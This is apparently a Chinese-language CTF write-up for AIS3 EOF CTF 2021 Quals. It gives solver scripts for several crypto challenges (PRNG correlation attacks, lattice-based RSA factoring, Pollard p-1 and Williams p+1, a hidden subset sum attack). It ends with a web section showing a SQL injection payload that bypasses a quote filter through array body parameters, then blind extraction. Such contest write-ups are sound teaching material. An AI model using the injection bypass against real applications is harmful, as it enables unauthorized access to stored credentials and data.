這次作為程安的期末考在 meow?
隊伍參加了 AIS3 EOF CTF
2021 Quals 拿了第一,也成功完全破台。這邊有全隊整合的
writeup ,不過還是在這邊發一下自己解的一些題目。兩邊在內容上可能有些不同,以這邊為準。
Crypto
babyPRNG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flag import flagimport randomimport stringcharset = string.ascii_letters + string.digits + '_{}' class MyRandom : def __init__ (self ): self.n = 2 **256 self.a = random.randrange(2 **256 ) self.b = random.randrange(2 **256 ) def _random (self ): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337 ) % self.n tmp ^= (tmp >> 3 ) & 0xde tmp ^= (tmp << 1 ) & 0xad tmp ^= (tmp >> 2 ) & 0xbe tmp ^= (tmp << 4 ) & 0xef return tmp def random (self, nbit ): return sum ((self._random() & 1 ) << i for i in range (nbit)) assert all (c in charset for c in flag)assert len (flag) == 60 random_sequence = [] for i in range (6 ): rng = MyRandom() random_sequence += [rng.random(8 ) for _ in range (10 )] ciphertext = bytes ([x ^ y for x, y in zip (flag.encode(), random_sequence)]) print (ciphertext.hex ())
這題的 PRNG 有兩個 256 bit 狀態 ,每次輸出時都會用 和
去更新。之後拿原本的 做一些
tamper 後輸出,取 lsb 作為輸出。
Tamper 的部份可以用觀察或是測試發現說 tmp 的 lsb 都保持不動,所以 tmp
的 lsb 直接就來自 :
1 2 3 4 tmp ^= (tmp >> 3 ) & 0xde tmp ^= (tmp << 1 ) & 0xad tmp ^= (tmp >> 2 ) & 0xbe tmp ^= (tmp << 4 ) & 0xef
因為我們只在意 lsb,也就是 ,因為 的所以可以直接把
% self.n
視為 % 2
,然後就可以注意到說 的 lsb 只和 有關。
所以在只考慮 lsb 的情況下這個 PRNG 實際上的狀態只有四種:
0 0
0 1
1 0
1 1
所以直接爆破四種起始狀態輸出的 key stream 即可 xor 回原本的
flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class MyRandom : def __init__ (self, a, b ): self.n = 2 ** 256 self.a = a self.b = b def _random (self ): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337 ) % self.n tmp ^= (tmp >> 3 ) & 0xDE tmp ^= (tmp << 1 ) & 0xAD tmp ^= (tmp >> 2 ) & 0xBE tmp ^= (tmp << 4 ) & 0xEF return tmp def random (self, nbit ): return sum ((self._random() & 1 ) << i for i in range (nbit)) def xor (a, b ): return bytes ([x ^ y for x, y in zip (a, b)]) keys = [ bytes ([rng.random(8 ) for _ in range (10 )]) for a in range (2 ) for b in range (2 ) if (rng := MyRandom(a, b)) ] ct = bytes .fromhex( "9dfa2c9ccd5c84c61feb00ea835e848732ac8701da32b5865a84db59b08532b6cf32ebc10384c45903bf860084d018b5d55a5cebd832ef8059ead810" ) for i in range (0 , len (ct), 10 ): for k in keys: s = xor(ct[i : i + 10 ], k) if s.isascii(): print (s.decode(), end="" ) print ()
almostBabyPRNG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from flag import flagimport randomclass MyRandom : def __init__ (self ): self.n = 256 self.a = random.randrange(256 ) self.b = random.randrange(256 ) def random (self ): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337 ) % self.n tmp ^= (tmp >> 3 ) & 0xDE tmp ^= (tmp << 1 ) & 0xAD tmp ^= (tmp >> 2 ) & 0xBE tmp ^= (tmp << 4 ) & 0xEF return tmp class TruelyRandom : def __init__ (self ): self.r1 = MyRandom() self.r2 = MyRandom() self.r3 = MyRandom() print (self.r1.a, self.r1.b) print (self.r2.a, self.r2.b) print (self.r3.a, self.r3.b) def random (self ): def rol (x, shift ): shift %= 8 return ((x << shift) ^ (x >> (8 - shift))) & 255 o1 = rol(self.r1.random(), 87 ) o2 = rol(self.r2.random(), 6 ) o3 = rol(self.r3.random(), 3 ) o = (~o1 & o2) ^ (~o2 | o3) ^ (o1) o &= 255 return o assert len (flag) == 36 rng = TruelyRandom() random_sequence = [rng.random() for _ in range (420 )] for i in range (len (flag)): random_sequence[i] ^= flag[i] open ("output.txt" , "w" ).write(bytes (random_sequence).hex ())
這題使用的 PRNG TruelyRandom
是使用三個
MyRandom
所組合而成的,每個各有 種初始狀態。
輸出的時候是把每個 random 輸出的一個 byte 經過 rol
對
bits 做些交換,之後使用
o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)
的做組合後輸出一個
byte。因為不是 lsb 所以不能像前面那題直接 。
直接爆破的話需要
次才能找出初始的狀態,雖然可能用 C/C++
加上一些平行化應該有機會解出來,但顯然不是預期的解法。
先觀察輸出公式的真值表 可以看出說
o1
和 ~o
有 75% 的機率相同,o3
和
~o
也是 75% 的機率相同。在這種情況下就能使用 correlation
attack 去單獨爆破其中一個 MyRandom
的 seed,只需要 次。
由於輸出的值是一個 byte,在 correlation attack 的時候是直接比較 8 個
bits 相同的機率,然後取平均看有沒有超過 70%。
獲得 r1
和 r3
的 seed 之後直接再用 爆破出 r2
的
seed,之後就能 xor 回原本的 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 class MyRandom : def __init__ (self, a, b ): self.a = a self.b = b def random (self ): tmp = self.a self.a, self.b = self.b, (self.a * 69 + self.b * 1337 ) & 0xFF tmp ^= (tmp >> 3 ) & 0xDE tmp ^= (tmp << 1 ) & 0xAD tmp ^= (tmp >> 2 ) & 0xBE tmp ^= (tmp << 4 ) & 0xEF return tmp def rol (x, shift ): shift %= 8 return ((x << shift) ^ (x >> (8 - shift))) & 255 ct = list ( bytes .fromhex( "d5de8acdc0fa83d9c5bbe683cb33ef07949d6faeee8b00f6a2cc10cad800ca818e1cfd34f96f8fe71c9dbb3930ec8fb89183c9eef059cddcdc62a3fcf96eaea6dcab1bde96db8dbb13e3eb5d144fec9c6c91637cffdb0d8c988c2a189a8aaeaa136afe8cd469dddedf88ed7effbf2fd89e8f8afa88beb9ba1150eaaec0c8fdb5d4fbe3efff8ca866ecbf2bda996a7f9e136d6d6e1afbccb664e24d5ef98e9fa63e8d8b3a385aef999389d9dcfbe9f8f6d4908bdaf9bdbd8dfeaebafea28aca8c9181cb8ca8cbc9a6f48893dcf94b8b4efca91a8ab1a84f9893ac4fafb86ee9dbff7a9949ff6e8fe40a9daa2c30ea99b89383c9ecf459d8d8dc66a1fcff6daeb4caab0ad896c88cbb11e3eb4c134ff9886c84617cf9cf0d8b9d8c3b189a88adaa117dfe8ac369c8c9df88f87ef9ad2fce9f8f9be988a9adba1343eabbd6c8e8b4d4eaf2eff989a865febf3acb996c6d9e11696d6c1afbd9b664e64b5eff899fb42c8d9a383849ea99918dd9cdf8e9ede6d4858ddaffadbd8affaeabfaa288cd8c9392cb8abbcbdcb5f48882dcff5d8b58f9a90b9db1bf5f9891bb4fbaaa6efcdeff6b8c49" ) ) def gen_table (shift, ln=128 ): table = {} for a in range (256 ): for b in range (256 ): r = MyRandom(a, b) stream = tuple ([rol(r.random(), shift) for _ in range (ln)]) table[stream] = (a, b) return table def solve_gen1 (): table = gen_table(87 ) for stream, (a, b) in table.items(): same = [0 ] * 8 for i in range (36 , len (stream)): for j in range (8 ): mask = 1 << j if ((~ct[i]) & mask) == stream[i] & mask: same[j] += 1 rates = [s / (len (stream) - 36 ) for s in same] if sum (rates) / len (rates) > 0.70 : print (a, b, rates) return a, b, stream def solve_gen3 (): table = gen_table(3 ) for stream, (a, b) in table.items(): same = [0 ] * 8 for i in range (36 , len (stream)): for j in range (8 ): mask = 1 << j if ((~ct[i]) & mask) == stream[i] & mask: same[j] += 1 rates = [s / (len (stream) - 36 ) for s in same] if sum (rates) / len (rates) > 0.70 : print (a, b, rates) return a, b, stream a1, b1, s1 = solve_gen1() a3, b3, s3 = solve_gen3() table2 = gen_table(6 ) for s2, (a2, b2) in table2.items(): oo = [((~o1 & o2) ^ (~o2 | o3) ^ (o1)) & 0xFF for o1, o2, o3 in zip (s1, s2, s3)] if oo[36 :] == ct[36 : len (oo)]: print (a2, b2) print (bytes ([x ^ y for x, y in zip (oo, ct)][:36 ]))
notRSA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Util.number import *from secret import flagn = ZZ(bytes_to_long(flag)) p = getPrime(int (640 )) assert n < pprint (p)K = Zmod(p) def hash (B, W, H ): def step (a, b, c ): return vector([9 * a - 36 * c, 6 * a - 27 * c, b]) def steps (n ): Kx.<a, b, c> = K[] if n == 0 : return vector([a, b, c]) half = steps(n // 2 ) full = half(*half) if n % 2 == 0 : return full else : return step(*full) return steps(n)(B, W, H) print (hash (79 , 58 , 78 ))
這題只給了個 hash function,輸入有 和三個常數 ,其中 是 flag。step
函數單純的對於三個輸入
輸出一個向量 。計算一律在一個 下運算。
steps
函數則是對於輸入 使用 symbolic 的
做一些運算,仔細一看可以看出那其實是很單純的快速冪。假設
step
代表的是一個未知的轉換 ,half = steps(n // 2)
計算
,然後
half(*half)
就是 ,之後看 的奇偶決定要不要多乘 。所以 steps(n)
其實就代表
而已。
而 step
代表的
本身其實很容易看出來是個矩陣乘法:
因此這題簡單來說就是給予
求 ,有點像是 discrete log。
要求矩陣的次方想做的第一件事是對角化看看,不過很容易就能發現 不可對角化,只能算 jordan form
而已,也就是求出 ,其中
是個上三角矩陣。
另外 ,所以 可以化為 ,其中 和 。
這題的 是:
上三角矩陣的次方容易推出通項公式,不過我直接偷懶讓 WolframAlpha
大神來計算: 通項公式
所以
其中 和 分別是
的三個維度,都是已知的值。因為 未知所以設成 方便處裡,待會消掉:
相除得到
所以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from Crypto.Util.number import *p = 2888665952131436258952936715089276376855255923173168621757807730410786288318040226730097955921636005861313428457049105344943798228727806651839700038362786918890301443069519989559284713392330197 K = Zmod(p) A = matrix(K, [[9 , 0 , -36 ], [6 , 0 , -27 ], [0 , 1 , 0 ]]) u = vector(K, (79 , 58 , 78 )) v = vector( K, ( 2294639317300266890015110188951789071529463581989085276295636583968373662428057151776924522538765000599065000358258053836419742433816218972691575336479343530626038320565720060649467158524086548 , 1566616647640438520853352451277215019156861851308556372753484329383556781312953384064601676123516314472065577660736308388981301221646276107709573742408246662041733131269050310226743141102435560 , 2794094290374250471638905813912842135127051843020655371741518235633082381443339672625718699933072070923782732400527475235532783709419530024573320695480648538261456026723487042553523968423228485 , ), ) J, P = A.jordan_form(transformation=True ) print (J)vv = ~P * v uu = ~P * u a, b, c = uu aa, bb, cc = vv n = (18 * bb * c - 18 * b * cc) / (6 * c * cc) print (long_to_bytes(n))
babyRSA
1 2 3 4 5 6 7 8 9 10 11 12 13 from Crypto.Util.number import *from secret import flagp = getPrime(512 ) q = getPrime(512 ) n = p * q m = n**2 + 69420 h = (pow (3 , 2022 , m) * p**2 + pow (5 , 2022 , m) * q**2 ) % m c = pow (bytes_to_long(flag), 65537 , n) print ('n =' , n)print ('h =' , h)print ('c =' , c)
這題是在一般 RSA 之上多提供一個 ,其中 , , 。
都是 512 bits,所以 是 1024 bits,而 是 2048 bits。所以可以寫出下方的
Lattice basis:
註: 本文中 Lattice 一律以 row vector 為 basis
可知 存在這個
Lattice 中,其中只有
已知,其他只知道 而已。所以可以寫出 的上下界 和 。
一個簡單的想法是用 LLL 對
reduce 過之後使用 Babai nearest plane 去近似 ,只是會發現求出來的
和實際上的 差很大。解決辦法和 LLL
會去調整權重一樣,把第一個 column 乘上很大的值就可以讓 reduced basis
的第一維變很小。在 CVP 的話因為我們已經很肯定第一維就是 ,所以讓 reduced basis
的第一維夠小才比較好的逼近目標向量。
這個技巧就在 rkm0959/Inequality_Solving_with_CVP
這個 repo 中實作了出來,方法就是把
差很小的維度乘上很大的值,反之差很大的維度就讓它乘上比較小的值。這樣
reduced basis 就會根據目標的上下界差值有大和小的變化,更容易找出目標的
。
使用了那個 repo 的 CVP solver 出來的向量 根據自己測試有大概
的機率下第二維是個完全平方數 ,就算不是也可以拿 reduced basis
的前兩短向量
出來,暴力搜尋附近的向量,也就是 。根據測試大概 99% 都能找到目標的 ,即可成功分解 解密 flag。
註: 因為 ,所以 才會是完全平方數
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from Crypto.Util.number import *n = 60116508546664196727889673537793426957208317552814539722187167053623876043252780386821990827068176541032744152377606007460695865230455445490316090376844822501259106343706524194509410859747044301510282354678419831232665073515931614133865254324502750265996406483174791757276522461194898225654233114447953162193 h = 2116009228641574188029563238988754314114810088905380650788213482300513708694199075187203381676605068292187173539467885447061231622295867582666482214703260097506783790268190834638040582281613892929433273567874863354164328733477933865295220796973440457829691340185850634254836394529210411687785425194854790919451644450150262782885556693980725855574463590558188227365115377564767308192896153000524264489227968334038322920900226265971146564689699854863767404695165914924865933228537449955231734113032546481992453187988144741216240595756614621211870621559491396668569557442509308772459599704840575445577974462021437438528 c = 50609945708848823221808804877630237645587351810959339905773651051680570682896518230348173309526813601333731054682678018462412801934056050505173324754946000933742765626167885199640585623420470828969511673056056011846681065748145129805078161435256544226137963588018603162731644544670134305349338886118521580925 e = 65537 m = n ** 2 + 69420 a = pow (3 , 1011 , m) b = pow (5 , 1011 , m) B = matrix(ZZ, [[m, 0 , 0 ], [a ^ 2 , 1 , 0 ], [b ^ 2 , 0 , 1 ]]) load("solver.sage" ) lb = [h, 0 , 0 ] ub = [h, 2 ^ 1024 , 2 ^ 1024 ] result, applied_weights, fin = solve(B, lb, ub) v = vector( [x // y for x, y in zip (result, applied_weights)] ) print (v)if not v[1 ].is_square(): R = B.LLL() l0 = vector([x // y for x, y in zip (R[0 ], applied_weights)]) l1 = vector([x // y for x, y in zip (R[1 ], applied_weights)]) for i in range (-10 , 10 ): for j in range (-10 , 10 ): vv = v + l0 * i + l1 * j if vv[1 ].is_square(): print ("found" , i, j) p = vv[1 ].sqrt() q = vv[2 ].sqrt() assert p * q == n d = inverse_mod(e, (p - 1 ) * (q - 1 )) m = power_mod(c, d, n) print (long_to_bytes(m))
easyRSA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from Crypto.Util.number import *import osfrom flag import flagblen = 256 def rsa (p: int , q: int , message: bytes ): n = p * q e = 65537 pad_length = n.bit_length() // 8 - len (message) - 2 message += os.urandom(pad_length) m = bytes_to_long(message) return (n, pow (m, e, n)) def level1 (message1: bytes , message2: bytes ): while True : p1 = getPrime(blen) p2 = (p1 - 1 ) // 2 if isPrime(p2): break q1 = getPrime(blen) q2 = getPrime(blen) return rsa(p1, q1, message1), rsa(p2, q2, message2) def level2 (message1: bytes , message2: bytes ): while True : p1 = getPrime(blen) p2 = (p1 + 1 ) // 2 if isPrime(p2): break q1 = getPrime(blen) q2 = getPrime(blen) return rsa(p1, q1, message1), rsa(p2, q2, message2) assert len (flag) == 44 l = len (flag) // 4 m1, m2, m3, m4 = [flag[i * l: i * l + l] for i in range (4 )] c1, c2 = level1(m1, m2) c3, c4 = level2(m3, m4) print (f'{c1 = } ' )print (f'{c2 = } ' )print (f'{c3 = } ' )print (f'{c4 = } ' )
這題的 flag 分成了四等分,分別用了四個 RSA modulus 加密,前兩個是
level1,後兩個是 level2。
level1
解題可以從費馬小定理開始
可知就算多開 次方也成立
而 是
的倍數,所以 ,因此 對於大部分的
成立。
只是說
是個很大的數字,沒辦法對任意整數開 次方,需要 才行,所以是
之所以能這樣做是因為 ,如果不整除的話就不能這樣 ,這是因為有下方的這個性質才能這麼做的:
這個概念其實就是 Pollard p-1,當 夠 smooth
的時候可以隨便乘一堆小的質數得到 ,如果 的話就開 次方就能分解了。這題只是利用 提供給你了 的倍數方便分解。
level2
唯一的不同在於 變成了
,看到 就比較容易想到和 Pollard p-1 相對的
Williams p+1 分解法。
參考這篇文章 可知對於以下的
Lucas Sequence
設 ,若 時則有 ,其中 是 的倍數,而
是 Legendre
symbol 。
如果 不是 的二次剩餘,那 ,所以只要
是 的倍數就能分解 了。而 顯然是 的倍數。
可以直接隨便猜 ,機率大概
不是二次剩餘。剩下就是該如何計算 了,這部分和前面一樣可以
避免數字太大。只是直接按照上面給的遞迴公式計算需要 才能得到 ,對於 來說太慢了。
這邊可以注意到
其實類似費氏數列,可以直接用矩陣快速冪在 算出第 項,然後之後 後就能算出 解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from Crypto.Util.number import *c1 = ( 7125334583032019596749662689476624870348730617129072883601037230619055820557600004017951889099111409301501025414202687828034854486218006466402104817563977 , 4129148081603511890044110486860504513096451540806652331750117742737425842374298304266296558588397968442464774130566675039127757853450139411251072917969330 , ) c2 = ( 2306027148703673165701737115582071466907520373299852535893311105201050695517991356607853174423460976372892149320885781870159564414187611810749699797202279 , 600009760336975773114176145593092065538518609408417314532164466316030691084678880434158290740067228766533979856242387874408357893494155668477420708469922 , ) c3 = ( 9268888642513284390417550869139808492477151321047004950176038322397963262162109301251670712046586685343835018656773326672211744371702420113122754069185607 , 5895040809839234176362470150232751529235260997980339956561417006573937337637985480242398768934387532356482504870280678697915579761101171930654855674459361 , ) c4 = ( 6295574851418783753824035390649259706446806860002184598352000067359229880214075248062579224761621167589221171824503601152550433516077931630632199823153369 , 3120774808318285627147339586638439658076208483982368667695632517147182809570199446305967277379271126932480036132431236155965670234021632431278139355426418 , ) e = 65537 def solve_level1 (n1, c1, n2, c2 ): p1 = gcd(power_mod(2 , 2 * n2, n1) - 1 , n1) p2 = (p1 - 1 ) // 2 q1 = n1 // p1 q2 = n2 // p2 d1 = inverse_mod(e, (p1 - 1 ) * (q1 - 1 )) d2 = inverse_mod(e, (p2 - 1 ) * (q2 - 1 )) m1 = power_mod(c1, d1, n1) m2 = power_mod(c2, d2, n2) return long_to_bytes(m1), long_to_bytes(m2) def lucas_v (a, n ): v0 = 2 v1 = a R = a.base_ring() M = matrix(R, [[a, -1 ], [1 , 0 ]]) v = M ^ (n - 1 ) * vector(R, [v1, v0]) return v[0 ] def solve_level2 (n1, c1, n2, c2 ): for a in range (2 , 10 ): p1 = ZZ(gcd(lucas_v(Mod(a, n1), 2 * n2) - 2 , n1)) if 1 < p1 < n1: break p2 = (p1 + 1 ) // 2 q1 = n1 // p1 q2 = n2 // p2 d1 = inverse_mod(e, (p1 - 1 ) * (q1 - 1 )) d2 = inverse_mod(e, (p2 - 1 ) * (q2 - 1 )) m1 = power_mod(c1, d1, n1) m2 = power_mod(c2, d2, n2) return long_to_bytes(m1), long_to_bytes(m2) m1, m2 = solve_level1(*c1, *c2) m3, m4 = solve_level2(*c3, *c4) flag = b"" .join([x[:11 ] for x in [m1, m2, m3, m4]]) print (flag)
延伸說明
Williams p+1 的原理基本上是把運算轉移到 上。概念上類似於
擴充到 時是多一個 符合 。如果 的話 是 irreducible,這樣才能 reduce 到
的 field 中。
由於 的
multiplicative order 是 ,所以有不同 subgroup
的問題。推導一下可以知道:
當開
次方的時候虛部 消失了,代表它是 的倍數,用 gcd 即可分解出來。
如果
的話 ,那麼:
虛部 一樣也消失了,所以一樣可以用 gcd 分解,這代表
Williams p+1 也能處裡 p-1 的 case。不過原版的 Pollard p-1
是使用實部已知的的 去 gcd
的。
使用 sage 做個簡單的驗證:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 p = random_prime(2 ^ 512 ) q = random_prime(2 ^ 512 ) n = p * q P.<x> = Zmod(n)[] def test (T ): print ("QR" , kronecker(T, p)) R.<i> = P.quotient(x^2 - T) z = 1 + i print ("p-1" , gcd((z ^ (p - 1 ))[1 ], n)) print ("p+1" , gcd((z ^ (p + 1 ))[1 ], n)) T = next (x for x in range (2 , 100 ) if kronecker(x, p) == 1 ) test(T) T = next (x for x in range (2 , 100 ) if kronecker(x, p) == -1 ) test(T)
而原版的 Williams p+1 使用了 lucas sequence
也是做同一件事,只是改用了遞迴數列去計算 的高次方。
對於這個遞迴數列的特徵多項式
可以算出兩根,然後帶入初始項能求出常數 ,所以得通項公式為:
考慮 的話可知 其實就是那個 ,根據是否是二次剩餘決定是 還是 的關鍵。一樣考慮 的情況 可以推出
把它換成
的倍數也有一樣的結果,所以 會給出 。
這篇文章 還有來自更加高等數學角度的說明,只是後半段的數學我真的理解不了...
notPRNG
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from secret import flagimport sysdef genModular (x ): if x <= 2 * 210 : return random_prime(2 ^x, False , 2 ^(x - 1 )) return random_prime(2 ^210 , False , 2 ^209 ) * genModular(x - 210 ) N, L = 100 , 200 M = genModular(int (N * N * 0.07 + N * log(N, 2 ))) a = vector(ZZ, [ZZ.random_element(M) for _ in range (N)]) while True : X = Matrix(ZZ, L, N) for i in range (L): for j in range (N): X[i, j] = ZZ.random_element(2 ) if X.rank() == N: break b = X * a for i in range (L): b[i] = mod(b[i], M) print ('N =' , N)print ('L =' , L)print ('M =' , M)print ('b =' , b)x = vector(ZZ, int (N)) for j in range (N): for i in range (L): x[j] = x[j] * 2 + X[i, j] def bad (): print ("They're not my values!!!" ) sys.exit(0 ) def calc (va, vx ): ret = [0 ] * L for i, vai in enumerate (va): for j in range (L): bij = (vx[i] >> (L - 1 - j)) & 1 ret[j] = (ret[j] + vai * bij) % M return ret if __name__ == '__main__' : print ('What are my original values?' ) print ('a?' ) aa = list (map (int , input ().split())) print ('x?' ) xx = list (map (int , input ().split())) if len (aa) != len (a): bad() if len (xx) != len (x): bad() if calc(a, x) != calc(aa, xx): bad() print (flag)
程式碼有點複雜,但簡單來說就是給予你向量 和大整數 ,求矩陣 和向量 符合 。其中
指定說每個元素都只能是 ,且
。
Source code 中下面這段是用來把 的 矩陣壓縮的
1 2 3 4 x = vector(ZZ, int (N)) for j in range (N): for i in range (L): x[j] = x[j] * 2 + X[i, j]
而 calc
函數其實就只是利用壓縮過的矩陣 vx
和向量 va
做 而已。
這個問題的 是個 的矩陣, 是 向量, 是 向量。其中 。可知如果 的話有個很簡單的 trivial
solution,就是 取單位矩陣 ,而 。只是這題難就難在 這件事上。
這題就像是在問說怎麼把個 維的
向量拆成 個只由 組成的
basis,一時之間真的想不到怎麼做。不過可以觀察到說如果 已知,那這個問題就變成了解 個 subset sum
problem ,雖然這問題在一般情況下是 NP-Complete 的,但是在 low density
的情況下可以利用 LLL 之類的算法在多項式時間內解決問題。(Solving
Low-Density Subset Sum Problems )
以這題 的生成方式可以知道
density:
而對於 density 小於 的
subset sum problem 都是 LLL 可以處裡的(來源 ),所以這題肯定和
LLL 脫不了關係。
解題的話目前有兩個方法,先找
或是先找 。先找 還不知道怎麼做,但任意固定 的話不一定能有 subset sum
的解這件事是已知的。就算找到了一個 確定對於 個 subset sum 都有解,需要重複解 次,經測試在我的電腦上解一個 subset sum
需要約 20 秒,而
秒過去的話肯定會 timeout,所以這方向不可行。
另一個出發點是想辦法尋找 ,有
的話就解方程組得到 ,但顯然不是對於任意的
矩陣都有解的。所以目標是要找個方法求出 ,找到的 矩陣不一定要和原本的 完全一樣也可以,就算是 basis
的順序有些交換也還是能夠解出一個 使得 的。
先用下面這個 Lattice 去 reduce:
其中空白部分都是 , 是隨便選的一個大常數,讓 reduced 過的
basis 的第一維盡量保持為 。basis
中會有多個
型式的短向量。由於每個 都是來自
向量的一些 的線性組合,可以預期 其實都不會很大。
實際測試會發現 reduced 過的 basis 中的前 個向量的第一維都是 ,但只有前面 個向量的 大概都落在
的區間,剩下的都會遠遠超出這個範圍。把這 個 維向量視為一個 的矩陣 ,可知 。因為 ,所以
。
由於 都是 構成的, 裡面也大概落在 ,可以發現在整數上 也成立,可以把 視為一個 left
kernel(?)。所以目前的問題就變成了怎麼從 的矩陣 ,找到一個 矩陣 符合 和 。
這個問題像是怎麼找 的 right
kernel,只是有 整數的限制。Sage
內建的可以很快速的算出
的 right kernel,但是在
上慢到根本跑不出來。我用的方法是取 ,其中 一樣是個足夠大的常數,這樣 reduce 過的
basis 中會出現許多 ,其中
。
測試一下可以發現有約 個都是在
區間的,但其中只有 個是 區間的。後來就以唯一的那個 區間的作為基準 ,然後其他的放到集合 中,直接爆破
中所有的向量就能找到 的
basis。
找到之後就能解方程組得到 ,然後送到 remote server 拿
flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *import astL = 200 N = 100 io = remote("eof.ototot.cf" , 51820 ) io.recvuntil(b"M = " ) M = ZZ(int (io.recvlineS().strip())) io.recvuntil(b"b = " ) b = ast.literal_eval(io.recvlineS().strip()) def knapsack2 (b ): B = matrix(b).T.augment(matrix.identity(len (b))) B = B.stack(vector([M] + [0 ] * len (b))) B[:, 0 ] *= 2 ^ 20 print (B.dimensions()) for row in B.BKZ(): if row[0 ] == 0 : cf = row[1 :] yield vector(cf) p_vecs = list (knapsack2(b)) Xleftkernel = matrix(p_vecs[:N]) B = Xleftkernel.T.augment(matrix.identity(L)) B[:, :N] *= 2 ^ 10 R = B.BKZ() goodvecs = [] for row in R: if row[0 ] != 0 : print ("??" ) continue if all (-1 <= x <= 1 for x in row): if any (x < 0 for x in row): row = -row assert Xleftkernel * row[N:] == 0 goodvecs.append(row[N:]) if all (0 <= x <= 1 for x in row): print (row) print (len (goodvecs))from itertools import productfrom tqdm import tqdmXvecs = set () for v in goodvecs: if all (0 <= x <= 1 for x in v): Xvecs.add(tuple (v)) bestvec = v print (len (Xvecs))for v1 in tqdm(goodvecs): for v2 in goodvecs: for coef in product([-1 , 0 , 1 ], repeat=3 ): vv = coef[0 ] * v1 + coef[1 ] * v2 + coef[2 ] * bestvec if any ([x < 0 for x in vv]): vv = -vv if all ([0 <= x <= 1 for x in vv]) and sum (vv) != 0 : Xvecs.add(tuple (vv)) if len (Xvecs) == N: break Xvecs = list (Xvecs) XX = matrix(ZZ, Xvecs).T aa = XX.change_ring(Zmod(M)).solve_right(vector(b)).change_ring(ZZ) xx = vector(ZZ, int (N)) for j in range (N): for i in range (L): xx[j] = xx[j] * 2 + XX[i, j] def calc (va, vx ): ret = [0 ] * L for i, vai in enumerate (va): for j in range (L): bij = (vx[i] >> (L - 1 - j)) & 1 ret[j] = (ret[j] + vai * bij) % M return ret assert tuple (calc(aa, xx)) == tuple (b)io.sendlineafter(b"a?" , " " .join(map (str , aa)).encode()) io.sendlineafter(b"x?" , " " .join(map (str , xx)).encode()) io.interactive()
這題官方的預期解是 A
Polynomial-Time Algorithm for Solving the Hidden Subset Sum
Problem ,但我實在沒能在解題時 OSINT 到這個名字...
簡單對照了一下,我用的方法大概是個比較 ad-hoc 版本的 orthogonal
lattice attack,概念上都和 Nguyen-Stern
Attack 接近
Web
這題有個簡單的 web 服務可以讓你登入,關鍵的程式碼在這邊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 const db = new sqlite3.Database ('/tmp/db.sqlite3' );db.exec (` -- (re)create users table DROP TABLE IF EXISTS users; CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT, ip TEXT ); -- create the chosen one INSERT INTO users (username, password, ip) VALUES ('kirito', 'FLAG{${FL4G} }', '48.76.33.33'); ` );const app = express ();app.use (bodyParser.urlencoded ({ extended : true })); app.post ('/login' , (req, res ) => { const { username, password } = req.body ; if (username?.includes ("'" ) || password?.includes ("'" )) return res.send ('Hacking attempt detected!' ); const query = `SELECT username, password, ip FROM users WHERE username = '${username} '` ; db.get (query, (err, user ) => { if (res.headersSent ) return ; if (!err && user && user.password === password && user.ip === req.ip ) res.redirect ('/welcome' ); else res.render ('failed' ); }); res.setTimeout (50 , () => res.render ('failed' )); });
可以看到說他會檢查 username
和 password
有沒有 '
(單引號),之後用字串拼接去生 sql query。
不過他在使用 body parser 的時候是開啟了 extended
模式,這模式下它是會接受 username[]=123
型式的
payload,然後解析為 { username: ["123"] }
。因為 javascript
的 string 和 array 都有 includes
函數,所以在一個
["' or 1=1;# "]
的 array 上去檢查有沒有
includes("'")
是 false。但是當 array 轉回字串時基本上是等價
','.join(arr)
,所以一樣能 injection。
可以 injection 之後可以知道它根本不會回傳 response,就算有 error
也不管,所以只能用 blind (或是
time)。基本上就設計一個條件讓他在成立時進入
res.redirect('/welcome')
,不成立就進入
res.render('failed')
,之後就能用內建的一些函數去湊
condition,把 database 裡面的東西撈出來。
flag 可以知道是放在 user kirito
